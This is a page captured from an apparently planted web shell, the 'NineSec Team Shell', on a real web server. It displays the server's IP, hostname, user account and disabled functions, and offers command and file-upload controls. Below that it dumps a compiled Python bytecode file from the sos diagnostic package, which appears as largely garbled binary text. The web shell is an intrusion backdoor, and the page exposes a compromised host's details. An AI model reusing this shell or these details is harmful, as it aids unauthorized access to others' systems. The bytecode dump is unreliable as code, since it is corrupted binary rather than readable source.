NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/policies/distros/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/policies/distros/__pycache__/__init__.cpython-36.pyc
3

��Zh�>�@s�ddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZdd	lmZdd
lmZmZmZmZdZdZd
ZGdd�de�ZGdd�de�ZdS)�N)�_sos)�Policy)�
InitSystem)�SystemdInit)�CrioContainerRuntime)�PodmanContainerRuntime)�DockerContainerRuntime)�LxdContainerRuntime)�	shell_out�
is_executable�bold�sos_get_command_outputz/etc/os-releaseZ	containerZHOSTcs.eZdZdZdZdZdZdZdZdZ	dZ
dZdZdZ
dZdZdZdZd	ZdZdZd9�fdd�	Zed
d��Zed:dd��Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zedd��Zedd ��Z ed!d"��Z!d#d$�Z"d%d&�Z#d'd(�Z$d)d*�Z%d+d,�Z&d-d.�Z'd/d0�Z(d1d2�Z)d;d3d4�Z*d5d6�Z+d7d8�Z,�Z-S)<�LinuxPolicyzfThis policy is meant to be an abc class that provides common
    implementations used in Linux distros�Nonez/bin:/sbin:/usr/bin:/usr/sbinN��dockerFz/usr/binzsos-collector-tmpTcs"t�j|||d�|r||_n|j�p(d|_|j�|dk	rD||_n$tjjd�r`t	|jd�|_nt
�|_i|_|j�rt
|d�t|d�t|d�t|d�g}xN|D]F}|j�r�||j|j<|j|jkr�|j|j|jd<|j|jj�q�W|jo�d|jk�rt|jj��}|j|d|jd<dS)N)�sysroot�
probe_runtime�remote_exec�/z/run/systemd/system/)�chroot)Zpolicy�defaultr)�super�__init__r�_container_init�init_kernel_modulesZinit_system�os�path�isdirrrZruntimesrrrrr	Zcheck_is_active�name�default_container_runtimeZload_container_info�list�keys)�selfr�initrrZ_crunZruntime�idx)�	__class__��/usr/lib/python3.6/__init__.pyr;s6
zLinuxPolicy.__init__cCsddgS)Nz/etc/passwdz/etc/shadowr')�clsr'r'r(�set_forbidden_pathsdszLinuxPolicy.set_forbidden_pathsc	st�fdd�}|r||�Stjj�j�rNtjj�j�tjjtjj�j��krNdSttddd��}||j��SQRXdS)z|
        This function is responsible for determining if the underlying system
        is supported by this policy.
        csb�jg}�jr|j�j�xB|j�D]6}|jd	�r$|jd�dd�djd�}||kr$dSq$WdS)
N�NAME=�ID=�=�rz"'TF)r+r,)�os_release_name�
os_release_id�append�
splitlines�
startswith�split�strip)ZcontentZ_matches�lineZ_distro)r)r'r(�_check_releaseqs
z)LinuxPolicy.check.<locals>._check_releaseT�rzutf-8)�encodingN)	rr�isfile�os_release_file�basename�realpath�open�
OS_RELEASE�read)r)�remoter7�fr')r)r(�checkkszLinuxPolicy.checkcCs|jS)N)�release)r#r'r'r(�kernel_version�szLinuxPolicy.kernel_versioncCs|jS)N)Zhostname)r#r'r'r(�	host_name�szLinuxPolicy.host_namecCs|jS)N)Zsmp)r#r'r'r(�
is_kernel_smp�szLinuxPolicy.is_kernel_smpcCs|jS)N)�machine)r#r'r'r(�get_arch�szLinuxPolicy.get_archcCs|j�S)z)Returns the name usd in the pre_work step)rF)r#r'r'r(�get_local_name�szLinuxPolicy.get_local_namecCstjdd|�S)Nz[^-a-z,A-Z.0-9]r)�re�sub)r#rr'r'r(�sanitize_filename�szLinuxPolicy.sanitize_filenamecCs4|tkr|j|�n|j|j�d��|j|�dS)Nz Distribution Policy)r�display_self_help�	set_titler/�display_distro_help)r)�sectionr'r'r(�display_help�szLinuxPolicy.display_helpcCs|jd�|jd�dS)NzSoS Distribution Policiesz�Distributions supported by SoS will each have a specific policy defined for them, to ensure proper operation of SoS on those systems.)rO�add_text)r)rQr'r'r(rN�s
zLinuxPolicy.display_self_helpc	Cs>|jr |jtjk	r |j|j�n
|jd�|ddd�}|jd|j���|jd|j��dd�|jd|j��dd�|jd�}x6|jD],}|jdd	�|d
d�|dd
��dd�q�W|jd�}|jtdd	�dd�dd�dd���dd�xN|j	j
�D]@\}}dj|jj
��}|jdd	�|d�|jd�|d��dd�q�WdS)Nz;
Detailed help information for this policy is not availableFzDefault --upload location: zDefault container runtime: )�newlinez $PATH used when running report: zReference URLs� z>8rz<30r.z<40z#Presets Available With This Policy
zPreset Namez<20ZDescriptionz<45zEnabled Options)�__doc__rrS�_upload_urlr �PATHZadd_section�vendor_urlsrZpresets�items�joinZoptsZto_argsZdesc)	r)rQZ_polZrefsecZurlZpresecZpreset�valueZ_optsr'r'r(rP�s4


,
zLinuxPolicy.display_distro_helpcCs^ttjkrZtjtdkrZd|_ttjkrZtjts6dStjjtjt|j�|_tjtSdS)z�Check if sos is running in a container and perform container
        specific initialisation based on ENV_HOST_SYSROOT.
        r�oci�podmanTN)rr]r^)�
ENV_CONTAINERr�environZ
_in_container�ENV_HOST_SYSROOTr�abspathZ_tmp_dir)r#r'r'r(r�s



zLinuxPolicy._container_initcCs�g|_tj�j}tdd|jd�j�}|jjdd�|dd�D��|jd|�d	��}yPt	|d
dd��8}x0|D](}|j
d
�dj
d�d}|jj|�qlWWdQRXWn4tk
r�}z|j
jd|���WYdd}~XnXddd�}d|��d|�d�f}	x<|	D]$}
|j|
�}
tjj|
��r|
}P�qW|j
jd�dSg}	yLt	|d
dd��4}x,|D]$}d|k�rT|	j|j
d�d��qTWWdQRXWn6tk
�r�}z|j
jd|���WYdd}~XnXx,|j�D] \}
}||	k�r�|jj|
��q�WdS)zxObtain a list of loaded kernel modules to reference later for plugin
        enablement and SoSPredicate checks
        Zlsmodr)�timeoutrcSsg|]}|j�dj��qS)r)r4r5)�.0r6r'r'r(�
<listcomp>�sz3LinuxPolicy.init_kernel_modules.<locals>.<listcomp>r.Nz/usr/lib/modules/z/modules.builtinr8zutf-8)r9rz.koz Unable to read kernel builtins: ZCONFIG_NET_DEVLINKZCONFIG_BLK_DEV_DM)ZdevlinkZdm_modz
/boot/config-z
/lib/modules/z/configz#Unable to find booted kernel configz=yz%Unable to read booted kernel config: ���)Zkernel_modsr�unamerDr
rr2�extend�join_sysrootr>r4r1�IOError�soslog�warningr�existsrZ)r#rD�lines�builtinsZmfiler6Zkmod�errZconfig_stringsZkconfigsZkconfigZ
booted_configZkfileZbuiltinr\r'r'r(r�sH

$



($
zLinuxPolicy.init_kernel_modulescCs*|jr&|jdkr&tjj|j|jd��}|S)Nr)rrrr[�lstrip)r#rr'r'r(ri#szLinuxPolicy.join_sysrootcCs(|jd}|jr|j�|j|�|_dS)NZcmdlineopts)ZcommonsZlow_priority�_configure_low_priority�prompt_for_case_id�case_id)r#�cmdline_optsr'r'r(�pre_work(s
zLinuxPolicy.pre_workcCs<|jr$|jr$|js$ttd��|_|jr0|jnd|_|jS)NzNOptionally, please enter the case id that you are generating this report for: r)Zbatch�quietrt�input�_)r#rur'r'r(rs3szLinuxPolicy.prompt_for_case_idcCs�tj�}td�rdtd|��dd�}|ddkr<|jjd�qpd|d	�d
|d�d�}|jj|�n|jjd�ytj	d
�|jjd�Wn4t
k
r�}z|jjd|���WYdd}~XnXdS)ayUsed to constrain sos to a 'low priority' execution, potentially
        letting individual policies set their own definition of what that is.

        By default, this will attempt to assign sos to an idle io class via
        ionice if available. We will also renice our own pid to 19 in order to
        not cause competition with other host processes for CPU time.
        Zionicezionice -c3 -p �)rcZstatusrzSet IO class to idlez Error setting IO class to idle: �outputz (exit code �)zNWarning: unable to constrain report to idle IO class: ionice is not available.�zSet niceness of report to 19z%Error setting report niceness to 19: N)r�getpidrr
rk�info�errorZui_logrl�nice�	Exception)r#Z_pid�ret�msgrpr'r'r(rr@s
z#LinuxPolicy._configure_low_prioritycCsdS)z�If sos report commands need to always be prefixed with something,
        for example running in a specific container image, then it should be
        defined here.

        If no prefix should be set, return an empty string instead of None.
        rr')r#r'r'r(�set_sos_prefix_szLinuxPolicy.set_sos_prefixcCsdS)zcIf a host requires additional cleanup, the command should be set and
        returned here
        rr')r#r'r'r(�set_cleanup_cmdhszLinuxPolicy.set_cleanup_cmdcCsdS)aIReturns the command that will create the container that will be
        used for running commands inside a container on hosts that require it.

        This will use the container runtime defined for the host type to
        launch a container. From there, we use the defined runtime to exec into
        the container's namespace.

        :param image:   The name of the image if not using the policy default
        :type image:    ``str`` or ``None``

        :param auth:    The auth string required by the runtime to pull an
                        image from the registry
        :type auth:     ``str`` or ``None``

        :param force_pull:  Should the runtime forcibly pull the image
        :type force_pull:   ``bool``

        :returns:   The command to execute to launch the temp container
        :rtype:     ``str``
        rr')r#ZimageZauthZ
force_pullr'r'r(�create_sos_containerosz LinuxPolicy.create_sos_containercCs|j�d|j��S)a�Restarts the container created for sos collect if it has stopped.

        This is called immediately after create_sos_container() as the command
        to create the container will exit and the container will stop. For
        current container runtimes, subsequently starting the container will
        default to opening a bash shell in the container to keep it running,
        thus allowing us to exec into it again.
        z start )�container_runtime�sos_container_name)r#r'r'r(�restart_sos_container�s
z!LinuxPolicy.restart_sos_containercCs"|jr|j�d|j�d|��S|S)aReturns the command that allows us to exec into the created
        container for sos collect.

        :param cmd: The command to run in the sos container
        :type cmd: ``str``

        :returns: The command to execute to run `cmd` in the container
        :rtype: ``str``
        z exec rU)r�r�)r#�cmdr'r'r(�format_container_command�sz$LinuxPolicy.format_container_command)NNTN)r)NNF).�__name__�
__module__�__qualname__rV�vendorrXr$r;r/r0rWr Z_preferred_hash_nameZ
containerizedZcontainer_imageZsos_path_stripZsos_pkg_nameZsos_bin_pathr�Zcontainer_version_commandZcontainer_authfiler�classmethodr*rCrErFrGrIrJrMrRrNrPrrrirvrsrrr�r�r�r�r��
__classcell__r'r')r&r(r#sV(	+;
	
rc@s,eZdZdZd
gZdZdZeddd��Zd	S)�GenericLinuxPolicyz�This Policy will be returned if no other policy can be loaded. This
    should allow for IndependentPlugins to be executed on any system�Upstream Project� https://github.com/sosreport/sosZSoSaSoS was unable to determine that the distribution of this system is supported, and has loaded a generic configuration. This may not provide desired behavior, and users are encouraged to request a new distribution-specifc policy at the GitHub project above.
rcCst�dS)z|
        This function is responsible for determining if the underlying system
        is supported by this policy.
        N)�NotImplementedError)r)rAr'r'r(rC�szGenericLinuxPolicy.checkN)r�r�)r)	r�r�r�rVrYr�Zvendor_textr�rCr'r'r'r(r��sr�)rrKZsosrryZsos.policiesrZsos.policies.init_systemsrZ!sos.policies.init_systems.systemdrZsos.policies.runtimes.criorZsos.policies.runtimes.podmanrZsos.policies.runtimes.dockerrZsos.policies.runtimes.lxdr	Z
sos.utilitiesr
rrr
r?r_rarr�r'r'r'r(�<module>
s$

NineSec Team - 2022